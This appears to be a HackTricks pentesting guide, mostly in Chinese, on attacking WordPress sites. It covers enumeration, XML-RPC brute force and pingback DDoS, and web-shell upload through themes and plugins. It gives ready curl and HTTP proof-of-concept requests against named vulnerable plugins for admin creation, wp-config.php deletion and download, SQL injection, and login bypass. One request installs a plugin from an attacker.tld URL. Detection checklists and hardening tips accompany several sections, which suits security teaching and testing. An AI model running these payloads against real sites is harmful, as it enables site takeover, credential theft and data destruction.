Wordpress

Reading time: 43 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, 所以如果你修改主题的某些 php 来获取 RCE,你很可能会使用该路径。例如:使用 theme twentytwelve 可以 access 404.php 文件,路径为: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • wp-config.php 中你可以找到数据库的 root 密码。

  • 默认登录路径可检查:/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

主要 WordPress 文件

  • index.php
  • license.txt 包含有用信息,例如已安装的 WordPress 版本。
  • wp-activate.php 在设置新的 WordPress 站点时用于电子邮件激活过程。
  • 登录相关文件夹(可能被重命名以隐藏):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php 是一个文件,表示 WordPress 的一个功能,该功能使数据可以通过以 HTTP 作为传输机制、以 XML 作为编码机制的方式进行传输。这种类型的通信已被 WordPress 的 REST API 所取代。
  • wp-content 文件夹是存储 plugins 和 themes 的主要目录。
  • wp-content/uploads/ 是存储任何上传到平台的文件的目录。
  • wp-includes/ 这是存放核心文件的目录,例如证书、字体、JavaScript 文件和 widgets。
  • wp-sitemap.xml 在 Wordpress 5.5 及更高版本中,Worpress 会生成一个包含所有公开帖子和可公开查询的 post types 及 taxonomies 的站点地图 XML 文件。

Post exploitation

  • wp-config.php 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、authentication keys and salts,以及数据库表前缀。该配置文件还可用于激活 DEBUG 模式,这在故障排除时很有用。

用户权限

  • Administrator
  • Editor: 发布并管理自己和他人的文章
  • Author: 发布并管理自己的文章
  • Contributor: 撰写并管理自己的文章,但无法发布它们
  • Subscriber: 浏览文章并编辑他们的个人资料

被动枚举

获取 WordPress 版本

检查是否能找到文件 /license.txt/readme.html

在页面的 源代码 中(示例来自 https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS 链接文件

  • JavaScript 文件

获取插件

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

获取主题

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

一般性提取版本信息

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

主动枚举

插件和主题

你可能无法找到所有可能的插件和主题。为了发现全部,你需要 主动 Brute Force 插件和主题列表(幸运的是通常有包含这些列表的自动化工具)。

用户

  • ID Brute: 通过对用户 ID 进行 Brute Forcing,你可以从 WordPress 站点获取有效用户:
bash
curl -s -I -X GET http://blog.example.com/?author=1

如果响应是 20030X,则表示该 id 为 有效。如果响应是 400,则表示该 id 为 无效

  • wp-json: 你也可以通过查询来获取有关用户的信息:
bash
curl http://blog.example.com/wp-json/wp/v2/users

另一个可以揭示一些有关用户信息的 /wp-json/ 端点是:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

注意此端点仅会暴露发布过文章的用户。仅会提供启用了此功能的用户的信息

另请注意 /wp-json/wp/v2/pages 可能会泄露 IP 地址。

  • 登录用户名枚举:当通过 /wp-login.php 登录时,提示信息不同,以指示该用户名是否存在

XML-RPC

如果 xml-rpc.php 启用,你可以执行 credentials brute-force 或用它对其他资源发起 DoS 攻击。(例如,你可以自动化此过程 using this)。

要查看它是否启用,尝试访问 /xmlrpc.php 并发送此请求:

检查

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs 是可以用来 brute-force credentials 的一些方法。如果你能找到其中任意一个,你可以发送像这样的内容:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

当凭证无效时,HTTP 200 响应中应出现消息 "用户名或密码不正确"

使用正确的凭证可以上传文件。在响应中会显示路径 (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

此外还有一种更快的方法来对凭证进行暴力破解,使用 system.multicall 可以在同一个请求中尝试多个凭证:

绕过 2FA

此方法面向程序而非人工,且较为陈旧,因此不支持 2FA。所以,如果你有有效的 creds 但主入口受 2FA 保护,你可能能够滥用 xmlrpc.php 使用这些 creds 登录以绕过 2FA。请注意,你无法执行通过控制台可以做的所有操作,但正如 Ippsec 在 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s 中所解释的,你仍然可能获得 RCE。

DDoS 或端口扫描

如果你能在方法列表中找到 pingback.ping,你就可以让 Wordpress 向任意主机/端口 发送任意请求。
这可用于让 成千上万 的 Wordpress 站点访问 同一个 目标(从而在该处造成 DDoS),或者你也可以用它让 Wordpress扫描 某些内部 网络(你可以指定任何端口)。

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

如果你得到 faultCode 的值 大于 0 (17),那就意味着端口是开放的。

查看上一节中 system.multicall 的用法,了解如何滥用此方法来引发 DDoS。

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

该文件通常位于 Wordpress 站点根目录:/wp-cron.php
当访问该文件时会执行一个“耗费资源”的 MySQL 查询,因此可被攻击者利用导致 DoS。
另外,默认情况下,wp-cron.php 会在每次页面加载时被调用(任何客户端请求任何 Wordpress 页面时),在高流量站点可能导致问题(DoS)。

建议禁用 Wp-Cron,并在主机上创建真实的 cronjob 定期执行所需任务(以避免问题)。

/wp-json/oembed/1.0/proxy - SSRF

尝试访问 https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net,Wordpress 站点可能会向你发起请求。

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

该工具检查是否存在 methodName: pingback.ping 和 路径 /wp-json/oembed/1.0/proxy,如果存在则尝试利用它们。

自动化工具

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

通过覆盖一个 bit 获得访问权限

与其说是一次真正的攻击,不如说是个好奇的实验。在 CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man 中,你可以翻转任意 wordpress 文件的 1 个 bit。因此你可以翻转文件 /var/www/html/wp-includes/user.php 的偏移 5389 处的位,把 NOT (!) 操作变成 NOP。

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

面板 RCE

修改所用主题中的 php(需要 admin credentials)

Appearance → Theme Editor → 404 Template(在右侧)

将内容改为 php shell:

在网上搜索如何访问该已更新的页面。本例中你需要访问: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

你可以使用:

bash
use exploit/unix/webapp/wp_admin_shell_upload

以获取会话。

Plugin RCE

PHP plugin

可能可以上传 .php 文件作为插件。
使用例如下面的方法创建你的 php backdoor:

然后添加一个新的插件:

上传插件并按 Install Now:

点击 Procced:

表面上可能看起来没有任何反应,但如果你进入 Media,你会看到你的 shell 已上传:

访问它,你会看到用于执行 reverse shell 的 URL:

Uploading and activating malicious plugin

此方法涉及安装已知存在漏洞的恶意插件并利用它来获取 web shell。该过程通过 WordPress dashboard 按如下方式进行:

  1. Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
  2. Plugin Installation:
  • 在 WordPress dashboard 中,转到 Dashboard > Plugins > Upload Plugin
  • 上传已下载插件的 zip 文件。
  1. Plugin Activation: 插件成功安装后,必须通过 dashboard 进行激活。
  2. Exploitation:
  • 当安装并激活了插件 "reflex-gallery" 后,可以利用该已知存在漏洞的插件进行攻击。
  • Metasploit framework 提供了针对该漏洞的 exploit。通过加载相应模块并执行特定命令,可以建立一个 meterpreter 会话,从而获得对站点的未授权访问。
  • 需要注意的是,这只是利用 WordPress 站点的众多方法之一。

内容包含描绘在 WordPress dashboard 中安装和激活插件步骤的可视化辅助图像。但重要的是要注意,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,并仅在合法情境中,例如获得明确许可的 penetration testing 时使用。

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike 是一个旨在将 Cross-Site Scripting (XSS) 漏洞升级为 Remote Code Execution (RCE) 或 WordPress 中其他严重漏洞的脚本。更多信息请查看 this post。它提供对 Wordpress Versions 6.X.X, 5.X.X 和 4.X.X 的支持,并允许:
  • Privilege Escalation: 在 WordPress 中创建用户。
  • (RCE) Custom Plugin (backdoor) Upload: 将你的自定义插件(backdoor)上传到 WordPress。
  • (RCE) Built-In Plugin Edit: 编辑 WordPress 内置插件。
  • (RCE) Built-In Theme Edit: 编辑 WordPress 内置主题。
  • (Custom) Custom Exploits: 为第三方 WordPress 插件/主题提供自定义 exploit。

Post Exploitation

提取用户名和密码:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

更改 admin 密码:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress 插件 Pentest

攻击面

了解 Wordpress 插件如何暴露功能对于发现其功能中的漏洞至关重要。你可以在下面的要点中看到插件可能如何暴露功能,以及在 this blog post 中一些易受攻击插件的示例。

  • wp_ajax

插件将功能暴露给用户的方式之一是通过 AJAX handlers。这些处理程序可能包含逻辑错误、authorization 或 authentication 漏洞。此外,这些函数很常见地会基于 wordpress nonce 的存在来同时判断 authentication 和 authorization,而该 nonce any user authenticated in the Wordpress instance might have(与其角色无关)。

这些是可以用来在插件中暴露函数的函数:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

使用 nopriv 会使该 endpoint 对任何用户可访问(甚至未认证的用户)。

caution

此外,如果函数只是使用 wp_verify_nonce 来检查用户的授权,wp_verify_nonce 通常只是检查用户是否已登录,并不会检查用户的角色。因此,低权限用户可能能够访问高权限操作。

  • REST API

也可以通过在 wordpress 中使用 register_rest_route 函数注册 REST API 路由来暴露函数:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback 是一个回调函数,用于检查给定用户是否被授权调用该 API 方法。

如果使用内置的 __return_true 函数,它会直接跳过用户权限检查。

  • 直接访问 php 文件

当然,Wordpress 使用 PHP,插件内的文件可以直接通过 Web 访问。因此,如果某个插件暴露了只需访问文件即可触发的易受攻击功能,该功能将被任何用户利用。

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

一些插件为内部集成或 reverse proxies 实现了“trusted header”快捷方式,并使用该 header 为 REST 请求设置当前用户上下文。如果该 header 没有被上游组件以加密方式绑定到请求,攻击者可以伪造它,从而以管理员身份访问有特权的 REST 路由。

  • Impact: 未经认证即可通过 core users REST route 创建新的管理员,从而实现权限提升为管理员。
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (强制使用用户 ID 1,通常是第一个管理员账户)。
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • 插件将客户端可控的 header 映射到认证状态并跳过能力检查。
  • WordPress core 期望该路由具有 create_users 能力;该插件利用 header 直接设置当前用户上下文以绕过此检查。

Expected success indicators

  • HTTP 201 with a JSON body describing the created user.
  • A new admin user visible in wp-admin/users.php.

Detection checklist

  • Grep for getallheaders(), $_SERVER['HTTP_...'], or vendor SDKs that read custom headers to set user context (e.g., wp_set_current_user(), wp_set_auth_cookie()).
  • Review REST registrations for privileged callbacks that lack robust permission_callback checks and instead rely on request headers.
  • Look for usages of core user-management functions (wp_insert_user, wp_create_user) inside REST handlers that are gated only by header values.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress 主题和插件经常通过 wp_ajax_wp_ajax_nopriv_ 钩子公开 AJAX 处理程序。 当使用 nopriv 变体时 回调会变为未认证访客可访问,所以任何敏感操作还必须额外实现:

  1. 一个 capability check(例如 current_user_can() 或至少 is_user_logged_in()),以及
  2. 一个使用 check_ajax_referer() / wp_verify_nonce() 验证的 CSRF nonce,以及
  3. 严格的输入过滤 / 验证

Litho 多用途主题 (< 3.1) 在 Remove Font Family 功能中遗漏了这三项控制,最终随包发布了以下代码(已简化):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

这个代码片段引入的问题:

  • 未认证访问 – 已注册 wp_ajax_nopriv_ hook。
  • 没有 nonce / capability 检查 – 任何访客都可以访问该 endpoint。
  • 未对路径进行清理 – 用户控制的 fontfamily 字符串被拼接到文件系统路径且未经过过滤,允许经典的 ../../ 遍历。

利用

攻击者可以通过发送一个单一的 HTTP POST 请求删除位于 uploads 基目录以下(通常为 <wp-root>/wp-content/uploads/)的任意文件或目录:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

其他有重大影响的目标包括插件/主题的 .php 文件(用于破坏安全插件)或 .htaccess 规则。

Detection checklist

  • 任何调用文件系统辅助函数(copy(), unlink(), $wp_filesystem->delete(), 等)的 add_action( 'wp_ajax_nopriv_...') 回调。
  • 将未经过滤的用户输入拼接到路径中的情况(查找 $_POST, $_GET, $_REQUEST)。
  • 缺少 check_ajax_referer()current_user_can()/is_user_logged_in()

Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

许多插件通过将原始角色保存在 user meta 中以便稍后恢复,来实现“以角色查看”或临时角色切换功能。如果恢复路径仅依赖请求参数(例如 $_REQUEST['reset-for'])和插件维护的列表,而没有检查权限能力和有效的 nonce,那么这会成为一次垂直权限提升。

在实际案例中,在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个例子。reset 分支在用户名出现在内部数组 $options['viewing_admin_as_role_are'] 时,会基于 reset-for=<username> 恢复角色,但在移除当前角色并从 user meta _asenha_view_admin_as_original_roles 重新添加保存的角色之前,既没有执行 current_user_can() 检查,也没有验证 nonce:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

为什么可被利用

  • 信任 $_REQUEST['reset-for'] 和一个插件选项,但没有进行服务器端授权。
  • 如果某用户之前的更高权限保存在 _asenha_view_admin_as_original_roles 中并被降级,他们可以通过访问重置路径来恢复这些权限。
  • 在某些部署中,任何已认证用户都可以为仍保存在 viewing_admin_as_role_are 的另一个用户名触发重置(授权错误)。

利用(示例)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

在易受攻击的构建中,这会移除当前角色并重新添加已保存的原始角色(例如 administrator),从而实际上提升权限。

Detection checklist

  • 寻找将“原始角色”持久化到 user meta 的角色切换功能(例如 _asenha_view_admin_as_original_roles)。
  • 识别执行重置/恢复的路径,这些路径:
    • $_REQUEST / $_GET / $_POST 读取用户名。
    • 通过 add_role() / remove_role() 修改角色,但未使用 current_user_can()wp_verify_nonce() / check_admin_referer()
    • 基于插件选项数组(例如 viewing_admin_as_role_are)进行授权,而不是基于操作者的权限能力。

有些插件会将用户切换的辅助函数挂到公共的 init 钩子,并从客户端可控的 cookie 推断身份。如果代码在未验证身份、权限及有效 nonce 的情况下调用 wp_set_auth_cookie(),任何未认证的访问者都可以强制以任意用户 ID 登录。

典型的易受攻击模式(简化自 Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

为何可被利用

  • 公开的 init hook 使得处理程序对未认证的用户可访问(没有 is_user_logged_in() 保护)。
  • 身份来自客户端可修改的 cookie(original_user_id)。
  • 直接调用 wp_set_auth_cookie($uid) 会将请求者以该用户的身份登录,且没有任何 capability/nonce 检查。

利用(未认证)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF 对 WordPress/plugin CVEs 的考量

通用的边缘/服务器 WAF 通常针对广泛模式进行调整(SQLi、XSS、LFI)。许多高影响的 WordPress/plugin 漏洞是特定于应用的逻辑/认证缺陷,除非引擎理解 WordPress 路由和插件语义,否则这些请求看起来像正常流量。

攻击端注意事项

  • 针对插件特定端点使用干净的 payloads:admin-ajax.php?action=...wp-json/<namespace>/<route>、自定义文件处理器、shortcodes。
  • 先尝试未授权路径(AJAX nopriv,REST 的宽松 permission_callback,公开 shortcodes)。默认 payloads 往往在不混淆的情况下就能成功。
  • 典型的高影响场景:权限提升(访问控制失效)、任意文件上传/下载、LFI、open redirect。

防御注意事项

  • 不要依赖通用的 WAF 签名来防护 plugin CVEs。应实现应用层、针对漏洞的虚拟补丁或尽快更新。
  • 在代码中优先采用正向安全检查(capabilities、nonces、严格的输入验证),而非基于否定的 regex 过滤。

WordPress 防护

定期更新

确保 WordPress、插件和主题均为最新。还要确认在 wp-config.php 中启用了自动更新:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

另外,仅安装可信的 WordPress 插件和主题

安全插件

其他建议

  • 移除默认的 admin 用户
  • 使用 强密码2FA
  • 定期 审查 用户 权限
  • 限制登录尝试次数 以防止 Brute Force 攻击
  • 重命名 wp-admin.php 文件,并且仅允许内部或某些 IP 地址访问。

由于验证不足导致的未认证 SQL Injection (WP Job Portal <= 2.3.2)

WP Job Portal 招聘插件暴露了一个 savecategory 任务,该任务最终在 modules/category/model.php::validateFormData() 中执行以下易受攻击的代码:

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. 未对用户输入进行消毒parentid 直接来自 HTTP 请求。
  2. 在 WHERE 子句中使用字符串拼接 – 未使用 is_numeric() / esc_sql() / 预处理语句。
  3. 无需认证即可访问 – 虽然该操作通过 admin-post.php 执行,但唯一的检查是一个 CSRF nonce (wp_verify_nonce()),任何访问者都可以从包含 shortcode [wpjobportal_my_resumes] 的公开页面获取该 nonce。

利用

  1. 获取一个新的 nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. 通过滥用 parentid 注入任意 SQL:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

响应会泄露被注入查询的结果或修改数据库,从而证明存在 SQLi。

未经认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2)

另一个任务, downloadcustomfile,允许访客通过路径遍历下载磁盘上的 任何文件。易受攻击的入口位于 modules/customfield/model.php::downloadCustomUploadedFile()

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name 由攻击者控制并在拼接时未经过过滤。再次,唯一的门槛是可以从简历页面获取的 CSRF nonce

利用

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

服务器响应包含 wp-config.php 的内容,leaking DB credentials and auth keys。

Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

许多 themes/plugins 通过 admin-ajax.php 提供 "social login" helpers。如果未认证的 AJAX action (wp_ajax_nopriv_...) 在 provider data 缺失时信任客户端提供的标识符,并随后调用 wp_set_auth_cookie(),则会导致完全的身份验证绕过。

典型的有缺陷的模式(简化)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

为什么可被利用

  • 可以通过 admin-ajax.php(wp_ajax_nopriv_… action)在 unauthenticated 状态下访问。
  • 在状态改变之前没有 nonce/capability 检查。
  • 缺少 OAuth/OpenID provider 验证;默认分支接受攻击者输入。
  • get_user_by('email', $_POST['id']) 随后调用 wp_set_auth_cookie($uid) 会将请求者认证为任何现有的邮箱地址。

Exploitation (unauthenticated)

  • 前提条件:攻击者可以访问 /wp-admin/admin-ajax.php 并知道或猜到一个有效的用户邮箱。
  • 将 provider 设置为不受支持的值(或省略)以触发默认分支,并传递 id=<victim_email>。
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • 不要从客户端输入推导身份。只接受来源于已验证 provider token/ID 的 emails/IDs。
  • 即使是 login helpers,也要要求 CSRF nonces 和 capability checks;除非绝对必要,避免注册 wp_ajax_nopriv_。
  • 在服务器端验证并核实 OAuth/OIDC 响应;拒绝缺失/无效的 providers(不要回退到 POST id)。
  • 在修复前,考虑临时禁用 social login 或在边缘进行虚拟补丁(阻止易受攻击的 action)。

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

一些插件公开了 REST endpoints,会在未验证调用者权限的情况下铸造可重用的 “connection keys” 或 tokens。如果该路由仅基于可猜测的属性(例如 username)进行认证,且没有将密钥绑定到带有 capability checks 的用户/会话,任何未认证的攻击者都可以铸造密钥并调用特权操作(创建 admin 账户、插件操作 → RCE)。

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – 铸造一个 connection key 并使用它

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

为什么可被利用

  • 敏感的 REST 路由仅通过低熵的身份证明(用户名)保护,或缺少 permission_callback
  • 未进行 capability 强制检查;生成的密钥被当作通用绕过凭证

Detection checklist

  • 在插件代码中 grep 寻找 register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • 任何基于请求提供的身份(用户名/电子邮件)发放令牌/密钥,但未关联到已认证用户或 capability 的路由
  • 查找后续路由,它们接受生成的令牌/密钥却没有进行服务端的 capability 检查

加固

  • 对于任何有权限的 REST 路由:要求 permission_callback,且在其内使用 current_user_can() 来检查所需的 capability
  • 不要根据客户端提供的身份铸造长寿命密钥;如有必要,应在认证后签发短期、绑定用户的令牌,并在使用时重新检查 capability
  • 验证调用者的用户上下文(仅调用 wp_set_current_user 不足以保证)并拒绝满足 !is_user_logged_in() || !current_user_can() 的请求

Nonce 门滥用 → 未认证的任意插件安装 (FunnelKit Automations ≤ 3.5.3)

Nonces 用于防止 CSRF,而不是用于授权。如果代码把 nonce 验证通过当作放行,然后跳过对特权操作的 capability 检查(例如安装/激活 插件),未认证的攻击者可以满足弱的 nonce 要求,通过安装带后门或有漏洞的插件达到 RCE。

  • 易受影响的路径: plugin/install_and_activate
  • 漏洞:弱的 nonce hash 检查;nonce “通过” 后没有 current_user_can('install_plugins'|'activate_plugins') 检查
  • 影响:通过任意插件安装/激活导致完全妥协

PoC(具体形式取决于插件;仅作示例)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

